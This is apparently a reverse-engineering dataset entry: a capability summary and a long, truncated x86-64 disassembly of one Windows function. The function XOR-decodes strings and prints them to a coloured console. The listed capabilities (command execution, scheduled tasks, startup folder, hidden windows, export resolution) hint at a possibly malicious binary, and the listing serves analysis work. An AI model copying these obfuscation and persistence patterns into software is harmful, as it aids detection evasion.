Function at 0x14001f770
Capabilities:
Authenticate hmac
Create process on windows
Encode data using xor
Execute command
Get common file path
Get startup folder
Hide graphical window
Parse pe header
Resolve function by parsing pe exports
Schedule task via at
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x3d0
mov rax, qword [0x1400a6040]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
xor r15d, r15d
vmovups ymm0, ymmword [0x1400945a8]
vmovups ymmword [rsp + 0x160], ymm0
vextractf128 xmm0, ymm0, 1
vpextrb eax, xmm0, 0xf
test al, al
je 0x14001f8cb
mov byte [rsp + 0x160], 0x4c
xor byte [rsp + 0x161], 0x34
xor byte [rsp + 0x162], 0x35
xor byte [rsp + 0x163], 0x36
xor byte [rsp + 0x164], 0x37
xor byte [rsp + 0x165], 0x38
xor byte [rsp + 0x166], 0x39
xor byte [rsp + 0x167], 0x3a
xor byte [rsp + 0x168], 0x3b
xor byte [rsp + 0x169], 0x3c
xor byte [rsp + 0x16a], 0x3d
xor byte [rsp + 0x16b], 0x3e
xor byte [rsp + 0x16c], 0x3f
xor byte [rsp + 0x16d], 0x40
xor byte [rsp + 0x16e], 0x41
xor byte [rsp + 0x16f], 0x42
xor byte [rsp + 0x170], 0x43
xor byte [rsp + 0x171], 0x44
xor byte [rsp + 0x172], 0x45
xor byte [rsp + 0x173], 0x46
xor byte [rsp + 0x174], 0x47
xor byte [rsp + 0x175], 0x48
xor byte [rsp + 0x176], 0x49
xor byte [rsp + 0x177], 0x4a
xor byte [rsp + 0x178], 0x4b
xor byte [rsp + 0x179], 0x4c
xor byte [rsp + 0x17a], 0x4d
xor byte [rsp + 0x17b], 0x4e
xor byte [rsp + 0x17c], 0x4f
xor byte [rsp + 0x17d], 0x50
xor byte [rsp + 0x17e], 0x51
xor byte [rsp + 0x17f], 0x52
lea rax, [rsp + 0x160]
mov r14, 0xffffffffffffffff
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r15b
jne 0x14001f8e0
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rdx, qword [0x140106d30]
sub rax, rdx
cmp rax, rcx
jb 0x140023695
lea rax, [0x140106d20]
cmp qword [0x140106d38], 0xf
cmova rax, qword [0x140106d20]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x160]
lea rcx, [rsp + 0x138]
vzeroupper
call fcn.140003ba0
nop
mov r8d, 1
lea rdx, [0x1400948bc]
lea rcx, [rsp + 0x138]
call fcn.14001b320
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x130], r15
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x118], ymm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, str.18:53:41
cmp qword [0x140106d58], 0xf
cmova rdx, qword [str.18:53:41]
mov r8, qword [0x140106d50]
lea rcx, [rsp + 0x118]
vzeroupper
call fcn.14001b320
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], r15
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x180], ymm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x14001fa4e
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001fa46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001fa46
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
vzeroupper
call fcn.1400835c4
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0x150]
cmp rdx, 0xf
jbe 0x14001fab6
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001faae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001faae
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
vzeroupper
call fcn.1400835c4
mov qword [rsp + 0x148], r15
mov qword [rsp + 0x150], 0xf
mov byte [rsp + 0x138], 0
lea rcx, [rsp + 0x180]
cmp qword [rsp + 0x198], 0xf
cmova rcx, qword [rsp + 0x180]
vzeroupper
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
mov edx, 4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [0x140094770]
vmovups ymmword [rsp + 0xb0], ymm0
vmovups ymm1, ymmword [0x140094790]
vmovups ymmword [rsp + 0xd0], ymm1
vmovups xmm0, xmmword [0x1400947b0]
vmovups xmmword [rsp + 0xf0], xmm0
vmovsd xmm0, qword [0x1400947c0]
vmovsd qword [rsp + 0x100], xmm0
movzx eax, byte [0x1400947c8]
mov byte [rsp + 0x108], al
mov r8d, r15d
lea r9, [rsp + 0xb0]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
sub al, dl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x59
jl 0x14001fb70
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [str.cFPED]
vmovups ymmword [rsp + 0x60], ymm0
vmovups xmm1, xmmword [0x140094708]
vmovups xmmword [rsp + 0x80], xmm1
mov eax, dword [0x140094718]
mov dword [rsp + 0x90], eax
movzx eax, word [0x14009471c]
mov word [rsp + 0x94], ax
movzx eax, byte [0x14009471e]
mov byte [rsp + 0x96], al
mov r10d, r15d
lea r9, [rsp + 0x62]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x33
xor byte [r9 - 2], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x35
xor byte [r9], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [r9 + 1], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [r9 + 2], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [r9 + 3], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [r9 + 4], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [r9 + 5], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [r9 + 6], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [r9 + 7], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r10b
sub al, dl
add al, 0x3d
xor byte [r9 + 8], al
add r10d, 0xb
lea r9, [r9 + 0xb]
cmp r10d, 0x37
jl 0x14001fc50
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [str.fGPDD]
vmovups ymmword [rsp + 0xb0], ymm0
vmovups ymm1, ymmword [0x140094740]
vmovups ymmword [rsp + 0xd0], ymm1
vmovups xmm0, xmmword [0x140094760]
vmovups xmmword [rsp + 0xf0], xmm0
mov r10d, 2
nop word [rax + rax]
lea r9d, [r10 - 2]
movsxd rax, r10d
lea r8, [rsp + rax + 0xae]
mov eax, 0x51eb851f
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x33
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + rax + 0xaf]
lea ecx, [r10 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x34
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb0]
add r8, rax
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x35
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb1]
add r8, rax
lea ecx, [r10 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x36
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb2]
add r8, rax
lea ecx, [r10 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x37
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb3]
add r8, rax
lea ecx, [r10 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x38
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb4]
add r8, rax
lea ecx, [r10 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb5]
add r8, rax
lea ecx, [r10 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb6]
add r8, rax
lea ecx, [r10 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb7]
add r8, rax
lea ecx, [r10 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb8]
add r8, rax
lea ecx, [r10 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xb9]
add r8, rax
lea ecx, [r10 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xba]
add r8, rax
lea ecx, [r10 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x3f
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbb]
add r8, rax
lea ecx, [r10 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x40
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbc]
add r8, rax
lea ecx, [r10 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x41
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbd]
add r8, rax
lea ecx, [r10 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x42
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbe]
add r8, rax
lea ecx, [r10 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x43
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xbf]
add r8, rax
lea ecx, [r10 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x44
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc0]
add r8, rax
lea ecx, [r10 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x45
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc1]
add r8, rax
lea ecx, [r10 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x46
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc2]
add r8, rax
lea ecx, [r10 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x47
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc3]
add r8, rax
lea ecx, [r10 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x48
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc4]
add r8, rax
lea ecx, [r10 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x49
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc5]
add r8, rax
lea ecx, [r10 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc6]
add r8, rax
lea ecx, [r10 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc7]
add r8, rax
lea ecx, [r10 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc8]
add r8, rax
lea ecx, [r10 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xc9]
add r8, rax
lea ecx, [r10 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xca]
add r8, rax
lea ecx, [r10 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4f
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcb]
add r8, rax
lea ecx, [r10 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x50
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcc]
add r8, rax
lea ecx, [r10 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x51
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcd]
add r8, rax
lea ecx, [r10 + 0x1d]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x52
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xce]
add r8, rax
lea ecx, [r10 + 0x1e]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x53
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xcf]
add r8, rax
lea ecx, [r10 + 0x1f]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x54
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd0]
add r8, rax
lea ecx, [r10 + 0x20]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x55
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd1]
add r8, rax
lea ecx, [r10 + 0x21]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x56
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd2]
add r8, rax
lea ecx, [r10 + 0x22]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x57
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd3]
add r8, rax
lea ecx, [r10 + 0x23]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x58
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd4]
add r8, rax
lea ecx, [r10 + 0x24]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x59
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0xd5]
add r8, rax
lea ecx, [r10 + 0x25]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
sub r9b, dl
add r9b, 0x5a
xor byte [r8], r9b
add r10d, 0x28
lea eax, [r10 - 2]
cmp eax, 0x50
jl 0x14001fea0
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [0x140094350]
vmovups ymmword [rsp + 0xb0], ymm0
vmovups ymm1, ymmword [0x140094370]
vmovups ymmword [rsp + 0xd0], ymm1
vmovsd xmm0, qword [0x140094390]
vmovsd qword [rsp + 0xf0], xmm0
movzx eax, byte [0x140094398]
mov byte [rsp + 0xf8], al
mov r8d, r15d
lea r9, [rsp + 0xb0]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
sub al, dl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x49
jl 0x140020770
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
vmovups ymm0, ymmword [0x1400944c8]
vmovups ymmword [rsp + 0x60], ymm0
vmovups xmm1, xmmword [0x1400944e8]
vmovups xmmword [rsp + 0x80], xmm1
mov eax, dword [0x1400944f8]
mov dword [rsp + 0x90], eax
mov r8d, 2
nop word [rax + rax]
lea r10d, [r8 - 2]
movsxd rax, r8d
lea r9, [rsp + rax + 0x5e]
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x33
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + rax + 0x5f]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x34
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x35
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x61]
add r9, rax
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [r9], al
movsxd rax, r8d
lea r9, [rsp + 0x62]
add r9, rax
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
